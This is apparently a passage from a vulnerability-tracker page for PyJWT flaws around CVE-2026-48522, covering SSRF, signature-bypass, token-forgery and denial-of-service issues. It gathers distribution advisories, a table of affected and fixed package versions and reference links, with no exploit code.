PyJWKClient.get_signing_key()leads to unbounded JWKS endpoint requests and DoS (bsc#1266800). - CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in
b64=falsedetached JWS allows for DoS (bsc#1266801). - CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
- Record
SUSE-SU-2026:2626-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:2627-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues
- CVE-2026-48522:
PyJWKClientpasses URI arguments directly tourllib.request.urlopen()and allows for SSRF and token forgery (bsc#1266798). - CVE-2026-48523: verifier-side algorithm allow-list bypass when
jwt.decode()orjwt.decode_complete()are called with a PyJWK key (bsc#1266799). - CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in
b64=falsedetached JWS allows for DoS (bsc#1266801). - CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
- Record
SUSE-SU-2026:2627-1- Updated
- 2026-11-02
OSVUSN-8823-1 No score
pyjwt vulnerabilities
It was discovered that PyJWT incorrectly handled certain URIs when using PyJWKClient. A remote attacker could possibly use this issue to perform server-side request forgery (SSRF) or expose sensitive local files. This issue only affected Ubuntu 22.04 LTS, Ubuntu 24.04 LTS and Ubuntu 26.04 LTS. (CVE-2026-48522)
It was discovered that PyJWT incorrectly verified cryptographic signatures when decoding tokens with PyJWK keys. A remote attacker could possibly use this issue to bypass signature verification and forge valid JSON Web Tokens. This issue only affected Ubuntu 26.04 LTS. (CVE-2026-48523)
It was discovered that PyJWT incorrectly handled unknown key identifiers in PyJWKClient. A remote attacker could possibly use this issue to cause PyJWT to make excessive network requests, resulting in a denial of service. This issue only affected Ubuntu 24.04 LTS and Ubuntu 26.04 LTS. (CVE-2026-48524)
It was discovered that PyJWT incorrectly handled payload decoding during detached JWS token verification. A remote attacker could possibly use this issue to cause PyJWT to consume excessive resources, resulting in a denial of service. This issue only affected Ubuntu 24.04 LTS and Ubuntu 26.04 LTS. (CVE-2026-48525)
It was discovered that PyJWT incorrectly validated JSON Web Keys when decoding tokens with both HMAC and asymmetric algorithms enabled. A remote attacker could possibly use this issue to forge valid tokens, resulting in an authentication bypass. (CVE-2026-48526)
- Record
USN-8823-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pyjwtPyPI |
2.0.0 to 2.12.1 | 2.13.0 |
pyjwtPyPI |
through 2.13.0 | 2.14.0 |
python-jwtAzure Linux:3 |
before 2.13.0-1 | 2.13.0-1 |
py3-jwtAlpaquita:25 |
2.10.1-r0 up to 2.13.0-r0 | 2.13.0-r0 |
py3-jwtAlpaquita:stream |
2.8.0-r1 up to 2.13.0-r0 | 2.13.0-r0 |
pyjwtTuxCare:PyPI |
2.3.0 up to 2.3.0.post2+tuxcare, plus listed versions 2.3.0.post1+tuxcare |
2.3.0.post2+tuxcare |
pyjwtTuxCare:PyPI |
2.10.1 up to 2.10.1.post7+tuxcare, plus listed versions 2.10.1.post1+tuxcare2.10.1.post2+tuxcare2.10.1.post3+tuxcare2.10.1.post4+tuxcare2.10.1.post5+tuxcare2.10.1.post6+tuxcare |
2.10.1.post7+tuxcare |
pyjwtDebian:12 |
All versions, plus listed versions 2.10.1-12.10.1-22.10.1-32.10.1-42.11.0-2 Show 8 moreShow less2.12.1-12.13.0-12.14.0-12.15.0-12.15.1-12.6.0-12.6.0-1+deb12u12.7.0-1 |
None known |
pyjwtDebian:13 |
All versions, plus listed versions 2.10.1-22.10.1-2+deb13u12.10.1-32.10.1-42.11.0-2 Show 5 moreShow less2.12.1-12.13.0-12.14.0-12.15.0-12.15.1-1 |
None known |
pyjwtDebian:14 |
before 2.13.0-1, plus listed versions 2.10.1-22.10.1-32.10.1-42.11.0-22.12.1-1 |
2.13.0-1 |
Show 43 moreShow less
| Package | Affected | Fixed |
|---|---|---|
pyjwtPyPI |
2.0.0 up to 2.13.0, plus listed versions 2.0.12.1.02.10.02.10.12.11.0 Show 10 moreShow less2.12.02.12.12.2.02.3.02.4.02.5.02.6.02.7.02.8.02.9.0 |
2.13.0 |
pyjwtPyPI |
before 2.14.0, plus listed versions 0.1.10.1.20.1.30.1.40.1.5 Show 45 moreShow less0.1.60.1.70.1.80.1.90.2.00.2.10.2.30.3.00.3.10.3.20.4.00.4.10.4.20.4.31.0.01.0.11.1.01.3.01.4.01.4.11.4.21.5.01.5.11.5.21.5.31.6.01.6.11.6.31.6.41.7.01.7.12.0.02.0.0a12.0.0a22.0.12.1.02.10.02.10.12.11.02.12.02.12.12.13.02.2.02.3.02.4.0 |
2.14.0 |
pyjwtPyPI |
before 2.13.0, plus listed versions 0.1.10.1.20.1.30.1.40.1.5 Show 45 moreShow less0.1.60.1.70.1.80.1.90.2.00.2.10.2.30.3.00.3.10.3.20.4.00.4.10.4.20.4.31.0.01.0.11.1.01.3.01.4.01.4.11.4.21.5.01.5.11.5.21.5.31.6.01.6.11.6.31.6.41.7.01.7.12.0.02.0.0a12.0.0a22.0.12.1.02.10.02.10.12.11.02.12.02.12.12.2.02.3.02.4.02.5.0 |
2.13.0 |
PyJWTRoot:PyPI |
before 2.9.0+aikido.6 | 2.9.0+aikido.62.10.1+aikido.62.8.0+aikido.52.5.0+aikido.52.12.0+aikido.32.12.1+aikido.32.10.1+aikido.72.12.0+aikido.42.4.0+aikido.72.12.0+aikido.52.8.0+aikido.62.12.1+aikido.42.5.0+aikido.62.12.1+aikido.5 |
PyJWTRoot:PyPI |
before 2.12.1+aikido.5 | 2.12.1+aikido.52.13.0+aikido.1 |
python-PyJWTSUSE:Linux Micro 6.1 |
before 2.12.1-slfo.1.1_2.1 | 2.12.1-slfo.1.1_2.1 |
python-PyJWTSUSE:Linux Enterprise Server 16.0 |
before 2.12.1-160000.2.1 | 2.12.1-160000.2.1 |
python-PyJWTSUSE:Linux Enterprise Server for SAP applications 16.0 |
before 2.12.1-160000.2.1 | 2.12.1-160000.2.1 |
python-PyJWTSUSE:Linux Micro 6.2 |
before 2.12.1-160000.2.1 | 2.12.1-160000.2.1 |
python-PyJWTSUSE:Linux Micro 6.0 |
before 2.9.0-3.1 | 2.9.0-3.1 |
python-PyJWTSUSE:Linux Enterprise Module for Public Cloud 15 SP4 |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise Module for Python 3 15 SP7 |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP4-LTSS |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP5-LTSS |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP6-LTSS |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise Server for SAP Applications 15 SP4 |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise Server for SAP Applications 15 SP5 |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise Server for SAP Applications 15 SP6 |
before 2.8.0-150400.8.13.1 | 2.8.0-150400.8.13.1 |
python-PyJWTSUSE:Linux Enterprise Micro 5.5 |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise Module for Basesystem 15 SP7 |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP4-LTSS |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP5-LTSS |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP6-LTSS |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise Server for SAP Applications 15 SP4 |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise Server for SAP Applications 15 SP5 |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
python-PyJWTSUSE:Linux Enterprise Server for SAP Applications 15 SP6 |
before 2.4.0-150200.3.14.1 | 2.4.0-150200.3.14.1 |
pyjwtUbuntu:22.04:LTS |
before 2.3.0-1ubuntu0.4, plus listed versions 1.7.1-2ubuntu22.1.0-12.3.0-12.3.0-1ubuntu0.12.3.0-1ubuntu0.22.3.0-1ubuntu0.3 |
2.3.0-1ubuntu0.4 |
pyjwtUbuntu:24.04:LTS |
before 2.7.0-1ubuntu0.2, plus listed versions 2.7.0-12.7.0-1ubuntu0.1 |
2.7.0-1ubuntu0.2 |
pyjwtUbuntu:25.10 |
All versions, plus listed versions 2.10.1-22.10.1-2ubuntu0.1 |
None known |
pyjwtUbuntu:26.04:LTS |
before 2.10.1-4ubuntu1.1, plus listed versions 2.10.1-22.10.1-32.10.1-3build12.10.1-42.10.1-4ubuntu1 |
2.10.1-4ubuntu1.1 |
pyjwtUbuntu:Pro:16.04:LTS |
before 1.3.0-1ubuntu0.1+esm2, plus listed versions 1.0.0-0ubuntu11.3.0-11.3.0-1ubuntu0.11.3.0-1ubuntu0.1+esm1 |
1.3.0-1ubuntu0.1+esm2 |
pyjwtUbuntu:Pro:18.04:LTS |
before 1.5.3+ds1-1ubuntu0.1+esm2, plus listed versions 1.4.2-1.11.5.3+ds1-11.5.3+ds1-1ubuntu0.11.5.3+ds1-1ubuntu0.1+esm1 |
1.5.3+ds1-1ubuntu0.1+esm2 |
pyjwtUbuntu:Pro:20.04:LTS |
before 1.7.1-2ubuntu2.1+esm2, plus listed versions 1.7.0-21.7.1-11.7.1-2ubuntu11.7.1-2ubuntu21.7.1-2ubuntu2.11.7.1-2ubuntu2.1+esm1 |
1.7.1-2ubuntu2.1+esm2 |
python-PyJWTopenSUSE:Tumbleweed |
before 2.13.0-1.1 | 2.13.0-1.1 |
python-PyJWTopenSUSE:Leap 16.0 |
before 2.12.1-160000.2.1 | 2.12.1-160000.2.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-48522 is a medium vulnerability (CVSS 4.2) in Jpadilla Pyjwt, published May 28, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.22%, the 12th percentile. Fixed in pyjwt 2.13.0.
References
github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4
nvd.nist.gov/vuln/detail/CVE-2026-48522
github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml
github.com/github/advisory-database/pull/8521
github.com/advisories/GHSA-993g-76c3-p5m4
github.com/jpadilla/pyjwt/security/advisories/GHSA-pxh4-856f-4h89
Show 31 moreShow less
github.com/jpadilla/pyjwt/commit/af8181ca0bec5e6b372fbba9afbe23702b787ceb
github.com/jpadilla/pyjwt/releases/tag/2.14.0
github.com/advisories/GHSA-pxh4-856f-4h89
docs.bell-sw.com/security/cves/CVE-2026-48522
github.com/CVEProject/cvelistV5/tree/main/cves/2026/48xxx/CVE-2026-48522.json
security-tracker.debian.org/tracker/CVE-2026-48522
github.com/jpadilla/pyjwt
suse.com/support/update/announcement/2026/suse-su-202622138-1
bugzilla.suse.com/1266798
bugzilla.suse.com/1266799
bugzilla.suse.com/1266800
bugzilla.suse.com/1266801
bugzilla.suse.com/1266802
suse.com/security/cve/CVE-2026-48522
suse.com/security/cve/CVE-2026-48523
suse.com/security/cve/CVE-2026-48524
suse.com/security/cve/CVE-2026-48525
suse.com/security/cve/CVE-2026-48526
suse.com/support/update/announcement/2026/suse-su-202622170-1
suse.com/support/update/announcement/2026/suse-su-202622220-1
suse.com/support/update/announcement/2026/suse-su-202622238-1
suse.com/support/update/announcement/2026/suse-su-20262626-1
suse.com/support/update/announcement/2026/suse-su-20262627-1
ubuntu.com/security/CVE-2026-48522
cve.org/CVERecord?id=CVE-2026-48522
github.com/jpadilla/pyjwt/commit/95791b1759b8aa4f2203575d344d5c78564cdc81
ubuntu.com/security/notices/USN-8823-1
ubuntu.com/security/CVE-2026-48523
ubuntu.com/security/CVE-2026-48524
ubuntu.com/security/CVE-2026-48525
ubuntu.com/security/CVE-2026-48526
Left out here: 9 versions and the rest of 4 source descriptions. The JSON record has them.